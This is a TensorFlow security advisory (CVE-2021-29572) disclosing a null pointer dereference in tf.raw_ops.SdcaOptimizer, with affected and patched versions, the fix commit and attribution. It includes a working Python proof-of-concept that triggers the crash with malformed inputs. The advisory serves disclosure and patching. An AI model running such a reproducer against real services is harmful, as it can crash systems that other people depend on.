# Reference binding to nullptr in `SdcaOptimizer`

Low mihaimaruseac published GHSA-5gqf-456p-4836 on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

| Affected versions | Patched versions |
|---|---|
| < 2.5.0 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |

Description

## Impact

The implementation of `tf.raw_ops.SdcaOptimizer` triggers undefined behavior due to dereferencing a null pointer:

```
import tensorflow as tf

sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_values = []

dense_features = []
dense_weights = []

example_weights = tf.constant((0.0), dtype=tf.float32)
example_labels = tf.constant((0.0), dtype=tf.float32)

sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]

example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)

tf.raw_ops.SdcaOptimizer(
  sparse_example_indices=sparse_example_indices,
  sparse_feature_indices=sparse_feature_indices,
  sparse_feature_values=sparse_feature_values, dense_features=dense_features,
  example_weights=example_weights, example_labels=example_labels,
  sparse_indices=sparse_indices, sparse_weights=sparse_weights,
  dense_weights=dense_weights, example_state_data=example_state_data,
  loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1,
  num_inner_iterations=1, adaptative=False)
```

The implementation does not validate that the user supplied arguments satisfy all constraints expected by the op.

## Patches

We have patched the issue in GitHub commit f7cc8755ac6683131fdfa7a8a121f9d7a9dec6fb.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

## For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

## Attribution

This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29572

Weaknesses

No CWEs